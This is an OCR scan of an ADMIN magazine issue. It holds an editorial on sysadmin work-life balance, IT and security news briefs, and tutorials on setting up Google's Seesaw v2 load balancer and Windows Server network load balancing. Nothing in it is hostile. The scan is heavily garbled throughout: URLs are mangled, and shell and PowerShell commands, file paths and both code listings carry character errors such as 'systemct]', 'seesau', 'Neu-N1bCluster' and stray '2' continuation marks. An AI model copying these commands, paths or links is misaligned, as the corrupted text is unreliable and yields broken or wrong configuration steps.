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Welcome to ADMIN WELCOME .

Balancing Work and Life as a Sys Admin

Until a few months ago, | didn’t watch TikTok, but now I find myself staring at countless short-form videos on
various topics, from the law to politics to pure silliness. It's easy, free entertainment that requires very little from
me as a casual observer. While scrolling through some of my favorite content creators’ fluff one night, | stumbled
upon this animated office worker, Veronica. She works in a standard corporate office, providing phone support
for her employer’s services. In short, Veronica knows how to set boundaries. She gives 100 percent to her employer
for eight hours but vehemently protects her off-duty time. Did | also mention that she prevents her boss, coworkers,
and customers from creating a toxic work environment? She does, and she does so in a calm, professional, and
non-combative tone.

One scene showcases Veronica’s commitment to her boundaries. When her manager calls for an early 30-minute
meeting, she leaves work half an hour early to compensate for the disruption. Her manager disapproves, accusing
her of “short-changing” the company. However, Veronica stands her ground, explaining that she is not violating
company policies but simply adhering to the agreed-upon eight-hour workday. In another scene, Veronica sets
her manager’s expectations even further after receiving an after-hours phone call asking her to check her email
and respond to time-sensitive requests. Veronica charged two hours of overtime for the hours worked. Her
manager told her they didn’t know if “upper management would approve the two hours.” Veronica answered
that upper management didn’t have to approve her after-hours work, so she expected to be paid for the time
worked. The manager said, “Your generation is something else.” Veronica said, “If you mean that we don’t give
corporations our entire lives and every waking moment for barely any pay, then, yes, we're something else.”

I like Veronica. | like that she asserts herself, stands up for what she believes, and doesn’t allow her manager to
manage her home life and work time. The Baby Boomer generation is the one whose parents lived through the
Great Depression and were trained to have a “never stop working” work ethic that has turned the United States
into a nation of worker bees who don’t take vacation, sick days, or personal time off. Admittedly, I've always
been annoyed by those who “take advantage” of the system by taking personal time, vacation, and sick days and
only working eight hours per day and 40 hours per week with no nights or weekends. | realize they are not taking
advantage of anything except their right to live a balanced life.

A friend of mine who lived in Argentina as an expatriate said that in the US, people live to work, whereas in
other countries, they work to live. Sure, we have much to be thankful for, but at what price? We spend most
of our waking hours at work, ignoring our spouses, children, homes, and ourselves for companies that aren’t
loyal to us in return. They can dismiss us anytime, for any reason, and we have no recourse. In the process,
we lose our healthcare, dignity, and hopes of promotions and retirement in a company for which we've
sacrificed our lives. It's no wonder that we're a nation with a very high incidence of substance abuse,
crime, stress, and mental health issues. But at least we have a 401k, high-deductible healthcare
options, and two whole weeks of paid annual vacation that we're encouraged not to take.

I'm glad for Veronica and her generation of individuals who prefer to break the cycle of workaholic
behavior and who cherish and protect their non-work time. It's an attitude whose day has come. It's
time to demand respectful treatment of our time and work boundaries.

I need to stop now, but | could continue for several more pages /ﬁ

with this discussion. After working a full day, | should eat dinner
soon because | have a four-hour maintenance window this evening
(if nothing goes wrong). This only occurs twice a month, and

if | make these sacrifices of my time, I'm sure to get a “Meets
Expectations” on my annual review to lock in that sweet,
well-deserved four percent raise.

Ken Hess ¢ Senior ADMIN Editor
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DHS Releases New Guidelines for Securing Critical Infrastructure

News for Admins | Vs 4

The US Department of Homeland Security has released new resources to help address threats
posed by Al including guidelines to mitigate Al risks to critical infrastructure (pttps://www.dhs.qov/
uidelines-and-report-secure-critical-infrastructure-and-weapons-masg) .

“Al can present transformative solutions for US critical infrastructure, and it also carries the risk
of making those systems vulnerable in new ways to critical failures, physical attacks, and cyber
attacks. Our department is taking steps to identify and mitigate those threats,” said Secretary of
Homeland Security Alejandro Mayorkas.

DHS outlines a four-part mitigation strategy, involving the following steps:

® Govern: Establish an organizational culture of Al risk management — build organizational

structures that prioritize security.

e Map: Understand your individual Al use context and risk profile.

e Measure: Develop systems to assess, analyze, and track Al risks — identify repeatable methods

and metrics for measuring and monitoring Al risks and impacts.

e Manage: Prioritize and act upon Al risks to safety and security — implement controls to maxi-

mize the benefits of Al systems while decreasing harmful impacts.
Read the Safety and Security Guidelines for Critical Infrastructure Owners and Operators for more in-
formation: Https://www.dhs.gov/publication/safety-and-security-quidelines-critical-infrastructure-owners-and-operators]

Datadog Report Examines DevSecOps Best Practices

The recently released State of DevSecOps report from Datadog (https://www.datadoghg.com/) analyzed
thousands of applications and container images to “evaluate the adoption of best practices that are
at the core of DevSecOps — infrastructure as code, automated cloud deployments, secure applica-
tion development practices, and the usage of short-lived credentials in CI/CD pipelines.”
Key takeaways from the report include:
* Ninety percent of Java services are vulnerable to one or more critical or high-severity vulnerabil-
ities introduced by a third-party library, versus an average of 47 percent for other technologies.
® The smaller a container image is, the fewer vulnerabilities it is likely to have. According to the
report, container images smaller than 100MB had 4.4 high or critical vulnerabilities, versus
42.2 for images between 250 and S00MB, and almost 80 for larger images.
¢ Leaks of long-lived credentials are a common cause of data breaches (https://securitylabs.datadoghg.com/
articles/public-cloud-breaches-2022-mccarthy-hopkinsf), making the use of short-lived credentials for CI/CD
pipelines critical to securing a cloud environment. However, the report states that “a substantial
number of organizations continue to rely on long-lived credentials in their AWS environments.”
See more information at Datadog: pttps://www.datadoghg.com/state-of-devsecops.

Upskilling Key to Tech Staffing Challenges, Says LF Survey

Nearly half (48%) of tech organizations would prioritize upskilling or cross-skilling existing staff
over hiring new employees or engaging consultants in 2024, according to a new report from the
Linux Foundation.

The 2024 State of Tech Talent Report (https://www.linuxfoundation.org/research/open-source-jobs-report-2024)
highlights the importance of upskilling, cross-skilling, and certifications for navigating today’s tech
staffing challenges, as “98 percent of organizations consider upskilling an important strategy, with
36 percent rating it extremely important.”

Other findings from the report include:

e Certifications rank higher than college or university degrees (23% to 16%) when assessing

technical skills.
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¢ The most cited benefits of upskilling are diversifying employee skill sets for redeployment
(40%), advancing careers (40%), and developing junior potential (40%).
¢ Despite the news headlines, less than one-third of organizations surveyed reduced their tech-
nical headcount in 2023.
Organizations surveyed also say their key areas of focus for staffing are: cloud (55%), DevOps
(51%), cybersecurity (49%), and AI/ML (43%).

2024 Open Source Pros Job Survey Report Released
Recently, the Open Source JobHub (OSJH) (bttps:/Jopensourcejobhub.comf) and LPI (https://www.Ipi.orgf) teams

surveyed open source professionals to learn what they value most when seeking a new job role.

“When looking at today’s tech job market, it’s important to understand the perspective of
those who are building their careers with FOSS,” says Brian Osborn, founder of OSJH, and CEO
and publisher at Linux New Media. “This survey offers much-needed insight into what those
open source professionals prioritize in terms of both new opportunities and satisfaction with
their current role.”

The results of this survey are now available in the free 2024 Open Source Professionals Job Sur-
vey Report: pttps://opensourcejobhub.com/blog/2024-open-source-professionals-job-survey-reportj.

According to the findings, those who work with free and open source software (FOSS) consider
a variety of factors when seeking a new job role, including overall work-life balance, open source
policy, company culture, and training and certification opportunities.

For example, 89 percent of respondents said they considered an employer’s open source policy
when making job choices.

Read the complete report at OSJH: https://opensourcejobhub.com/blog/2024-open-source-professionals-job
burvey-report].

OpenSSF Issues Guidance to Help Prevent Social Engineering Attacks

The recent attempted XZ Utils attack (https://www.admin-magazine.com/News/Malicious-XZ-Attack-Planned-for-Years)
may not be an isolated incident, and project maintainers are urged to watch for unusual activity,
according to the Open Source Security (OpenSSF) and OpenJS Foundations.

In a recent blog post (https://openssf.org/blog/2024/04/15/open-source-security-openssf-and-openjs-foundations{
ssue-alert-for-social-engineering-takeovers-of-open-source-projects/)), the foundations jointly called upon “all
open source maintainers to be alert for social engineering takeover attempts, to recognize the early
threat patterns emerging, and to take steps to protect their open source projects.”

In collaboration with the Linux Foundation, the group has put together a list of warning signs to
help maintainers and others detect suspicious patterns, including:

e Requests to be elevated to maintainer status by new or unknown persons

¢ Endorsement coming from other unknown members of the community who may also be using

false identities

e DPull requests containing blobs as artifacts

¢ Intentionally obfuscated or difficult to understand source code

® Deviation from typical project compile, build, and deployment practices
The group also offers guidelines to help secure your open source project, including:

® Use strong authentication practices, such as:

e Enable two-factor authentication (2FA) or multi-factor authentication (MFA).
e Use a secure password manager.

e Preserve your recovery codes in a safe, preferably offline place.

¢ Do not reuse credentials/passwords across different services.

e Have a security policy including a “coordinated disclosure” (https://github.com/ossf/oss-vulnerability

process for reports.

e Review resources such as “Avoiding social engineering and phishing attacks” (https://www.cisa)

>

(pttps://www.enisa.europa.eu/topics/incident-response/glossary/what-is-social-engineering) from

Engineering
ENISA.
Learn more from OpenSSF: https://openssf.org/blog/2024/04/15/open-source-security-openssf-and-openjs-founda

ions-issue-alert-for-social-engineering-takeovers-of-open-source-projects/].
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Black Duck Supply Chain Edition Released by Synopsys

Synopsys has released a new software composition analysis tool aimed at helping organizations
mitigate upstream risk in their software supply chains.

Black Duck Supply Chain Edition (https://www.synopsys.com/software-integrity/software-composition-analysis{
tools/black-duck-sca.htm|) “combines multiple open source detection technologies, automated third-party
software bill of materials (SBOM) analysis, and malware detection to provide a comprehensive
view of software risks inherited from open source, third-party, and Al-generated code,” says the
announcement :
Bupply-Chain-Security) .

The security tool helps teams manage risks, track dependencies, detect vulnerabilities and malicious
packages, and identify license violations and conflicts across the entire application lifecycle.

Learn more at Synopsys: https://www.synopsys.com/.

Spectra Logic Announces New Tape Libraries and Management Software

Boulder-based Spectra Logic has announced (https://spectralogic.com/press-releases/spectra-logic-introduces

[umos-library-management-software-with-two-new-libraries/) major changes to its long-running line of tape
storage solutions, including the new LumOS management software, the TFinity Plus (https://spec]

tralogic.com/tfinity-libraries{) enterprise library, and the Spectra Cube cloud-optimized tape library.

The LumOS management software (https://spectralogic.com/features/library-management-software/) is an
advanced operating system for managing, monitoring, and controlling Spectra tape libraries, the
announcement states.

LumOS is “based on a modern, extensible architecture that delivers greater functionality, reli-
ability and as much as 20X the performance of the previous generation of library management
software.”

According to the company, the cloud-optimized Spectra Cube (https://spectralogic.com/products/tapeq
bolutions/spectra-cubef) library can be “quickly deployed, dynamically scaled, and easily serviced
without tools or downtime.

The Spectra Cube library offers up to 30 petabytes (PB) of native capacity, with a maximum
compressed capacity of 75PB.”

Learn more at Spectra Logic: https://spectralogic.com/.

LPI Launches Open Source Essentials Program

Linux Professional Institute (LPI) has announced the Open Source Essentials (https://www.lpi.org/ourq
tertifications/open-source-essentialsf) certificate and education program, “targeting the common set of
knowledge everyone with a role in open source should have.”

“With Open Source Essentials we establish a common set of knowledge and a common vocabu-
lary to enable professionals of all sorts to collaborate with each other and consider the most impor-
tant aspects of Open Source,” said Fabian Thorns, Director of Product Development at LPI in the
announcement : .Ipi. .

The first Open Source Essentials lessons (pttps://learning.Ipi.org/en/learning-materials/050-100f), which
are part of LPI’s Essentials certificate track, are available now, with translations to be added soon.
The Open Source Essentials exam is available from Pearson Vue testing centers and the Pearson
OnVue testing platform.

Apache Software Foundation Celebrates 25 Years

The Apache Software Foundation (ASF) is celebrating its 25th anniversary (https://apache.oraf).

The all-volunteer organization — including developers, stewards, and incubators of more than
320 active open source projects and initiatives — was founded with a mission to provide software
for the public good.

“For 25 years the foundation has delivered reliable software that fuels innovation and powers or-
ganizations of all sizes,” says the announcement (https://news.apache.org/foundation/entry/apache-software;
foundation-celebrates-25-yeard). “From the flagship Apache HTTP project to more recent projects span-
ning AI/ML, big data, cloud computing, financial tech, geospatial, 10T, search, and more — ASF
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projects serve the public good with use cases such as fueling cancer research; aiding in clean energy
research; and reducing food waste.”

“The ASF exists to help build open source projects that can stand the test of time by focusing on
community over code,” said David Nalley, Apache Software Foundation President.

Read more at Apache Software Foundation: pttps://www.apache.org/asf25years/.

SUSE Announces Rancher Prime 3.0

SUSE has announced enhancements to its open source cloud native and edge solutions with the
release of Rancher Prime 3.0 and SUSE Edge 3.0.

Rancher Prime 3.0 (https://www.rancher.com/), which is the commercial version of the company’s
open source enterprise container management platform, includes new capabilities such as:

¢ Enhanced secure software supply chain with SLSA certification and software bill-of-materials (SBOM)

e General availability of Cluster API and new Cluster Classes, which enables teams to deliver

self-service PaaS

e General availability of the Rancher Prime Application Collection

e Enhanced AI/ML workload support
According to the announcement (https://www.suse.com/news/SUSE-strengthens-container-management-portfoliof),
SUSE is also introducing Rancher Enterprise, “a single package and price for the entire portfolio of
Rancher Prime including multi-cluster management, OS management, VM management, persistent
storage, and SUSE’s certified Linux OS, SUSE Linux Enterprise Micro.”

Read more at SUSE: https://www.rancher.com/.

NSA Issues Zero Trust Guidelines for Network Security

The National Security Agency (NSA) has released a Cybersecurity Information Sheet (CSI) with
recommendations for strengthening internal network control and containing network intrusions
using Zero Trust principles (https://www.nsa.gov/Press-Room/Press-Releases-Statements/Press-Release-View/
frticle/3695223/nsa-releases-maturity-guidance-for-the-zero-trust-network-and-environment-pillar/) .

The Advancing Zero Trust Maturity Throughout the Network and Environment Pillar
defense.qov/2024/Mar/05/2003405462/-1/-1/0/CSI1-ZERO-TRUST-NETWORK-ENVIRONMENT-PILLAR.PDH) document aims
“to arm network owners and operators with the processes they need to vigilantly resist, detect,
and respond to threats that exploit weaknesses or gaps in their enterprise architecture,” says NSA
Cybersecurity Director Rob Joyce.

The concepts covered in the document “provide guidance on enhancing existing network secu-
rity controls to limit the potential impact of a compromise through data flow mapping, macro and
micro segmentation, and software-defined networking.”

Read more at NSA: ttps://www.nsa.qov].

NIST Releases Major New Version of Cybersecurity Framework

The National Institute of Standards and Technology (NIST) has released a major new version of the
Cybersecurity Framework (CSF), its widely used guidelines document for reducing cybersecurity risk
(pttps://www.nist.gov/cyberframeworH).

According to the announcement (https://www.nist.gov/news-events/news/2024/02/nist-releases-version-20-land{
mark-cybersecurity-framewor}), the 2.0 edition now “explicitly aims to help all organizations — not just
those in critical infrastructure, its original target audience — to manage and reduce risks.” And the
framework includes an array of resources to help organizations navigate the guidelines, including:

e Quick-start guides (https://www.nist.qov/quick-start-quides)

e CSF 2.0 Reference Tool (https:[{csrc.nist.gov[Proiects[Cybersecurity-Framework[Filters#[csf[filtergi

e Searchable catalog (https://csrc.nist.gov/projects/olir/informative-reference-catalog#/) of informative references
(pttps://www.nist.gov/informative-references)

The CSF 2.0’s expanded scope also has a “new focus on governance, which encompasses how
organizations make and carry out informed decisions on cybersecurity strategy. The CSF’s gover-
nance component emphasizes that cybersecurity is a major source of enterprise risk that senior
leaders should consider alongside others such as finance and reputation.”

Learn more at NIST: jttps://www.nist.gov/cyberframework.
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Seesaw v2

High-performance load balancing

Back and Forth

Seesaw v2 is a sophisticated solution for load balancing in Layer 4 on networks subject to heavy traffic
and facilitates the removal, maintenance, and integration of individual servers. sy Holger Reibold

An important aspect of high avail-
ability is ensuring that the maximum
performance of a system is main-
tained, even at maximum load. This
state is achieved with tools that intel-
ligently distribute access to the vari-
ous servers. Seesaw v2 comes into
play wherever high-performance load
balancing is required. Seesaw only
works up to Layer 4 and can therefore
act faster than other potential candi-
dates, such as HAProxy or NGINX.
Load balancing is necessary to en-
sure the availability and scalability of
business applications. The principle
is basically simple, but ingenious at
the same time: The load balancer of-
fers access to the servers according to
an algorithm, and additional servers
can be added to the server pool, if
required, while the end user remains
blissfully unaware of any of these
operations.

The load balancer acts as a reverse
proxy and supports server access via
virtual IP addresses. The potential
applications are many and varied. In
addition to load distribution, load bal-
ancers can automatically detect server
failures and reroute traffic accord-
ingly. Load balancing also facilitates
the maintenance of individual servers
because admins can remove servers
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from the pool, carry out the required
maintenance work without affecting
the environment, and then reinstate
the servers in the setup. Addition-
ally, backup servers can be integrated
automatically and application servers
can be added to or removed from the
network without interruption.

Load Balancing in Layer 4

Seesaw [1] is a load balancing imple-
mentation based on the Linux Vir-
tual Server project, which makes it
different from HAProxy or NGINX,
which work up to Open Systems In-
terconnection (OSI) Layer 7, whereas
Seesaw acts as an OSI Layer 4 load
balancer. Therefore, although this tool
can handle UDP, TCP, Stream Control
Transmission Protocol (SCTP), Au-
thentication Header (AH) protocol,
and Encapsulating Security Protocol
(ESP) traffic, it does not penetrate far
enough into the OSI stack to handle
functions such as HTTP header in-
trospection, TLS termination, and so
on. The advantage of using Layer 4 is
very fast load balancing.

Seesaw was originally developed by
Google, which used two different
load balancers in 2012 that proved

to be unsuitable because of specific

management and stability challenges.
Because no viable alternative was
found, Google developed its own tool
capable of processing traffic for uni-
cast and anycast virtual IP addresses
(VIPs), performing appropriate health
checks for the back ends, and load
balancing.

Google also wanted the platform to be
easy to manage, and it had to support
automated deployment of configura-
tion changes, among other things.
The developers decided to program
the tool in Go, which is particularly
suitable because of its powerful op-
tions for implementing parallel rou-
tines and simple interprocess commu-
nication. Other advantages of Go are
its modular multiprocess architecture
and processes that can be easily can-
celed or terminated, which enables
failovers and self-recovery in an ideal
case. Seesaw was released as open
source on GitHub in 2016.

Loading Modules

Before you can use Seesaw v2,

you need to meet various require-
ments. First, you need at least two
Seesaw nodes, which can be physi-
cal machines or virtual instances.
Each node must have two network
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interfaces - one for the host itself

and the other for the cluster VIP. All

of the interfaces should be connected
to the same Layer 2 network. Second,
you need to make sure the following
kernel modules are loaded:

B ip_vs: The IP virtual server module
used for transport layer switching
in the Linux kernel

B nf conntrack_ipv4: The module
the Linux kernel uses to maintain
the states of all logical network
connections and assign packets to
sessions

B dummy: A virtual network device
to which routes can be assigned
but that does not transmit any
packets

Each of these kernel modules needs

to be in place before the Seesaw pro-

cess starts. You can load the modules
manually with the commands:

modprobe ip_vs
modprobe nf_conntrack_ipvé
modprobe dummy numdummies=1

Because these commands do not load
the modules permanently, you would
have to reload them whenever the ker-
nel restarts. Instead, you can work with
modprobe configuration files, which are
usually found in /etc/modprobe.d. To
create a file named modulname. conf for
each module, use:

echo options ip_vs > 2
/etc/modprobe.d/ip_vs.conf

echo options nf_conntrack_ipvd > 2
/etc/modprobe.d/nf_conntrack_ipv4.conf

echo options dummy numdummies=1 > 2
/etc/modprobe. d/dummy. conf

Note that with this procedure, the
various modules are only loaded
when the system is booting.

The process is even simpler and more
reliable with systemd, for which you
use the /etc/modules. load.d mecha-
nism. To make sure systemd loads the
three modules automatically, use:

echo ip_vs > /etc/modules.load.d /ip_vs.conf
echo nf_conntrack_ipv4 > 2

/etc/modules. load.d/nf_conntrack_ipv4.conf
echo dummy numdummies=1 > 2

/etc/modules. load.d/dunmy. conf
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You have now created the configura-
tion files for loading the kernel mod-
ules when booting. To make these
changes directly, enter:

systemct] 2
restart systemd-modules-load.service

Users of RHEL and CentOS systems
should note that this service only of-
fers the kernel CAP_SYS_MODULE capabil-
ity by default, which is not enough to
load the ip_vs kernel module.

After loading the three modules, See-
saw launches; you can make sure this
happens by running the

seesal_uatchdog -logtostderr

command.

Setting Up Go

Seesaw v2 is based on Go, so you must
make sure that various Go packages are
in place before the installation:

M [goTang.org/x/crypto/ssh

M [github.com/dTintw/goconf]|

M [github.com/golang/qlog

M [github.com/golang/protobuf/protol
M [github.com/miekg/dng

Compilation and runtime dependen-
cies on 1ibnl [2] require the follow-
ing commands on a Debian-based
system:

apt-get install golang
apt-get install libnl-3-dev Tibnl-genl-3-dev

Be sure you have Go version 1.18 [3]
or newer, and make sure ${GOPATH3}/
bin is in your ${PATH} and in the See-
saw directory:

nake test
make install

Optionally, you can test the function-
ality of the Golang environments with
go or go env. The essential require-
ments for the Seesaw installation are
now satisfied.

Installing Seesaw

Before the installation, the Seesaw
developers recommend regenerating

the Protocol Buffers (protobuf) code.
The Protocol Buffers interface defini-
tion language (IDL) is an expandable,
language- and platform-neutral mech-
anism for serializing structured data
that is used, in particular, for commu-
nication and data storage programs
on specific networks.

Seesaw uses the protobuf compiler to
process the required data from a web
browser. The compiler combines the
.proto files and language-specific li-
braries to write a file that can be trans-
mitted over a network connection. To
begin, install the protobuf compiler
and regenerate the protobuf code:

apt-get install protobuf-compiler
make proto

For the install, create the seesau_in-
stall script (Listing 1) in this di-
rectory and run it. Seesaw is then
basically ready for use and you can
make the required adjustments to the
configuration.

Integration in Anthos

Seesaw opens up a wealth of ap-
plication options, so it is not sur-
prising that it is now also used in
various commercial products. For
example, Seesaw is part of Anthos
clusters on VMware, a cloud-based
container platform that supports
three forms of load balancing: in-
tegrated, manual, or bundled. In
bundled mode, Anthos uses the See-
saw load balancer, which provides
various measured values, such as
data throughput and CPU and RAM
utilization. The measurement data
can be visualized with tools that
support the Prometheus format.

Setting Up Seesaw

For each Seesaw node, create a
separate /etc/seesau/seesau.cfg
configuration file that contains
central information about the node
itself and its peers. Additionally,
each load balancer needs a clus-
ter configuration in the form of a
text-based /etc/seesauw/cluster.pb
file. The Seesaw configuration file,
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Listing 1: Installation Script
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<para>SEESAN_BIN="/usr/local/seesau"</para>
<para>SEESAN_ETC="/etc/seesau"</para>
<para>SEESAN_LOG="/var/log/seesau"</para>
<para></para>

<para>INIT="ps -p 1 -0 comm="</para>
<para></para>

<para>install -d "${SEESAW_BIN}" "${SEESAW_ETC}" "${SEESAN_L0G}""</para>

<para>install "${GOPATH}/bin/seesau_c1i" /usr/bin/seesau</para>

<para> for component in {ecu,engine,ha,healthcheck,ncc,uatchdog}; do install "${GOPATH}/bin/

seesau_${component}" "${SEESAN BIN}" </para>
<para> done </para>
<para></para>

<para> if [ $INIT = "init" ]; then install "etc/init/seesau_uatchdog.conf" "/etc/init" </para>
<para> elif [ $INIT = "systemd" ]; then install “etc/systemd/system/seesau_uatchdog.service" "/etc/systemd/

system" systemct] --system daemon-reload</para>
<para> fi </para>

<para> install "etc/seesau/uatchdog.cfg" "${SEESAW_ETC3}" </para>

<para></para>

<para> # Enable CAP_NET_RAW for Seesaw binaries that need raw sockets. </para>
<para> /sbin/setcap cap_net_rau+ep "${SEESAN_BIN}/seesau_ha" </para>
<para> /sbin/setcap cap_net_rau+ep "${SEESAW_BIN}/seesau_healthcheck" </para>

seesauw.cfg (Listing 2), is stored in

the /etc/seesau/ directory.

Note that a minimal Seesaw con-

figuration must contain at least five

pieces of information:

B anycast_enabled: A value of True
enables anycast for this cluster;
anycast is usually disabled with
a value of False, because it is pri-
marily supported by IPv6 networks

B name: A short name for each cluster

B node_ipv4: The IPv4 address of the
Seesaw node

B peer_ipv4: The IPv4 address of the
Seesaw peer node

Listing 2: Seesaw Config File Example

<para>[cluster]</para>

<para>anycast_enabled = false</para>

<para>name = jta</para’

<para>node_ipv4 = 192.168.18.2¢/para>
<para>node_ipvé6 = 2008:ita::2</para>

<para>peer_ipv4 = 192.168.10.3</para>
<para>peer_ipvé = 2008:ita::3</para>

<para>vip_ipv4 = 192.168.10.1</para>

<para>vip_ipvé = 2008:ita::1</para>

<para></para>

<para>[config_server]</para>

<para>prinary = [SEesay-configr.beTspiell. dek /para>
<para>secondary = [seesau-config2.beispiel2.dek/para>
<para>tertiary = [seesau-config3.beispiel32.dek/para>
<para></para>

<para>[interface]</para

<para>node = eth®>"</para>

<para>1b = ethl</para>
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W vip_ipv4: The IPv4 address for this
cluster VIP
The virtual IP address is passed back
and forth between the Seesaw nodes
but is only ever active on the cur-
rent master node. It is important for
the configuration that this address
be assigned to the same network as
the node and peer IP address. If you
are using anycast, you need to make
sure the Quagga Border Gateway
Protocol (BGP) daemon is installed
and configured.
The /etc/seesau/cluster.pb file con-
figures the cluster; again, a number
of minimum requirements apply: The
file must have at least one seesau_vip
entry and two node entries. Addition-
ally, a separate vserver entry defines
the service for which you are provid-
ing load balancing.

Load Balancing in Action

Seesaw is now ready for use and can
be controlled from its interactive con-
sole prompt. The commands

config reload
show vservers
show vserver <name>

reload the cluster configuration, list
all the virtual servers configured on

the cluster, and display a server’s
status, respectively. Entering a ques-
tion mark calls a list of more See-
saw commands.

Even though Seesaw is viewed as

a stable and reliable environment,
the load balancer is repeatedly criti-
cized for its susceptibility to con-
figuration errors. The process table,
which you call up by typing ps, has
important information for trouble-
shooting. It should list the following
processes:

seesau_ecu

seesau_engine

seesau_ha

seesau_healthcheck

seesaw_ncc

seesau_uatchdog

The environment also generates
various logs that offer valuable help
for troubleshooting. A watchdog
handles logging; Seesaw generates
its own logs for all components. If
one of the processes is not running,
check the /var/log/seesau logfile.
The seesau_engine.{10g, INFO} entry
gives you the information you need.

Conclusions

Load balancers are necessary on
heavily frequented networks. For
load balancing to function reliably
in a real-life environment, you need
sophisticated technology. Seesaw
v2 means you don’t need to worry
about these requirements. The only
drawback so far is the sparse docu-
mentation. Moreover, to the dismay
of many administrators interested in
getting started with Seesaw, online
forums also contribute little to the
need for information. [

Info

[1] Seesaw v2:
[https://aithub.com/google/seesaw]

[2] Netlink Protocol Library Suite (libnl):
[https://www.infradead.ora/~tqr/libnl/]

[31 Go versions: [https://go.dev/di/]]
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Network load balancing
on Windows Server

. FEATURE Win Server Load Balancing

Setting up and making the most of network load balancing on
Windows Server 2019 and 2022. sy Thomas Joos

Network Load Balancing (NLB) is an
integrated feature of Windows Server
2019 and 2022. The feature makes it
possible to distribute network traffic
across several servers without hav-
ing to purchase additional hardware.
The result is improved performance,
scalability, and availability of applica-
tions. The management side is not
particularly complicated, and NLB
clusters are flexible when it comes to
setup.

The first and perhaps most obvious
benefit of network load balancing is
the improvement in performance and
the ability to handle heavy peak loads
by distributing them across a number
of servers to avoid any individual
server being overtaxed. This aspect is
particularly important for high-traffic
websites and applications, where
peaks in network traffic can lead to
noticeable performance losses or even
downtime.

Another advantage of NLB is an
improvement in scalability that

lets organizations expand their
server infrastructures as required
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by simply adding additional servers
to the cluster, which is particularly
practical for growing organizations
in constant need of adapting their
IT infrastructure. Moreover, NLB
enhances the availability of ap-
plications and services. If a server
fails, the service itself remains
available, which is of crucial im-
portance for critical applications
and services.

Preparation

In total, you can connect up to 32
servers to an NLB cluster, which al-
lows various services that rely on
TCP to scale. NLB clusters can also
distribute several requests from the
same client to different or identical
nodes. For scaling purposes, you can
add further hosts to the cluster at
any time or remove servers that are
no longer required. One advantage of
NLB with Windows Server is the ease
of creating and managing clusters in
the graphical user interface (GUI) or
with PowerShell.

To integrate a host into an NLB clus-
ter, it may make sense to enable IP
forwarding for the host:

netsh interface ipv4 set interface 2
"¢Name of LAN connection>" 2
foruarding=enabled

This option ensures that servers can
forward IP packets if they do not
process the packets themselves. IP
forwarding or IP routing is a basic
network process to forward packets
from one network to another. In
terms of network load balancing, IP
forwarding has an effect on the func-
tionality of the cluster, especially if it
is a multicast NLB cluster. Windows
creates a multicast MAC address for
the cluster, which is bound to the
cluster IP address. This special mul-
ticast MAC address makes it possible
for all nodes in the cluster to receive
network traffic that is directed to the
cluster IP address.

To ensure correct routing of incom-
ing and outgoing traffic, IP forward-
ing must be enabled on each NLB
node. If this is not the case, connec-
tion problems can occur, because
responses to requests might not be
returned correctly to the original
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sender. On Windows Server 2019 and
2022, you can use PowerShell to en-
able IP forwarding:

Set-NetIPInterface 2
-Interfaceflias "<Interface Name>" 2
-Foruarding Enabled

For a server to participate in an NLB
cluster, you also need to install the
Network Load Balancing feature in
Server Manager with PowerShell or
from the Windows Admin Center
(Figure 1). The feature must be en-
abled on every host you want to be a
member of the cluster. Installing the
feature requires no configuration step;
instead, you complete the configura-
tion later on.

At the same time, you will also want
to create a Host A entry in the DNS
system with the name and IP address
of the NLB cluster. Users use this
name to connect to the cluster, and
the nodes distribute the requests in
line with the configuration.

Setting Up an NLB Cluster

Setting up an NLB cluster on Win-
dows Server 2022 is a straightforward
process and comparable to the same
task in previous versions. You can
script the installation in PowerShell or
use the NLB cluster’s GUI. PowerShell

Win Server Load Balancing FEATURE .

allows automation, meaning you
can add new nodes or remove exist-
ing nodes at any time. However, you
first need to install the NLB function
on each server you want to join the
cluster:

Install-HindousFeature NLB 2
-IncludeManagementTools

Next, create a new NLB cluster with
the New-N1bCluster cmdlet:

Neu-N1bCluster 2
-InterfaceName "Vlan-3" 2
-ClusterPrimaryIP 16.8.0.1 2
-ClusterName "Clustere@l”

This command creates an NLB cluster
named Cluster001 with the primary IP
address 10.0.0.1. The -InterfaceName
option specifies the cluster’s network
interface. The Neu-N1bCluster cmdlet
offers numerous parameters and op-
tions for the setup in this area:

Neu-N1bCluster -HostName <hostname> 2
-InterfaceName <interface_name> 2
-ClusterPrimaryIP <IP_address> 2
-SubnetMask <subnet_mask>

Replace <hostname> with the name of
the cluster node, <interface_name>
with the name of the network adapter
to be used on the node for the cluster,

and <IP_address> and <subnet_mask>
with the network information for
your environment.

NLB Cluster Operating Mode

The use of unicast and multicast also
plays an important role in an NLB
cluster. You can manage these options
either when you create the cluster or
later. When you create the cluster, you
can configure the operating mode with:

New-N1bCluster -InterfaceName "Ethernet" 2
-OperationMode <Mode> 2
-ClusterPrimaryIP 192.168.1.1 2
-ClusterName <NLBCluster>

To change the setting retroactively in
PowerShell, use:

Set-N1bCluster -OperationMode <Mode>

Replace <Mode> with UNICAST, MULTI-
CAST, or IGMPMULTICAST as needed. In
unicast mode, each node in the cluster
uses the same MAC address, which
can lead to problems because it causes
the Layer 2 switch to send outgoing
traffic to all ports. However, the setting
could be suitable for smaller environ-
ments in which additional network
traffic is not a problem.

Multicast mode uses a multicast MAC
address for the cluster, which allows

1-gig Network Load Balancing Clusters

Ouster name

Quster configuration for all known NLB chusters

Oluster IP address Cluster IP subnet mask

Mew Cluster : Host Parameters

Prarity funigue host idertifier)

Dedicated |P addresses

IP address Subret mask
152.168.41.193 2552552550
Add Edit
Initial host state
- Diefndt stal Started
LogEn.. Date Time Cluster Host Descriptid e
0001 12/28/2023  2:20:07 AM MLE Mani{ [ Retain suspended state after computer restarts

Chuster mode

¥

Femave

Figure 1: NLB clusters can be managed in the GUI or in PowerShell.
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switches to send outgoing traffic to
specific ports and avoids overloading
the network with unnecessary traffic.
This option could require some addi-
tional switch configuration to support
the feature.

The Internet Group Management Pro-
tocol (IGMP) is an extension of multi-
cast mode. It enables communication
between the NLB nodes and the net-
work switches to ensure that network
traffic is only sent to the ports to
which the NLB nodes are connected.
This option is useful in larger envi-
ronments because it reduces network
traffic even further. However, in most
cases, unicast is fine. If the clients
experience connection problems, you
can always change the settings for
multicast or IGMP multicast at a later
date.

Adding Nodes to a Cluster

Of course, creating the cluster is
only the first step. For effective load
distribution, you need to add further
nodes:

Add-N1bClusterNode 2
-NeuNodeName <hostname> 2
-NeuNodeInterface <interface_name> 2
-InterfaceName <interface_name> 2
-HostName <hostname>

If you want to remove a node from
the cluster, use the

Remove-NTbClusterNode 2
-HostName <hostname> 2
-InterfaceName <interface_name> 2
-Force

command.
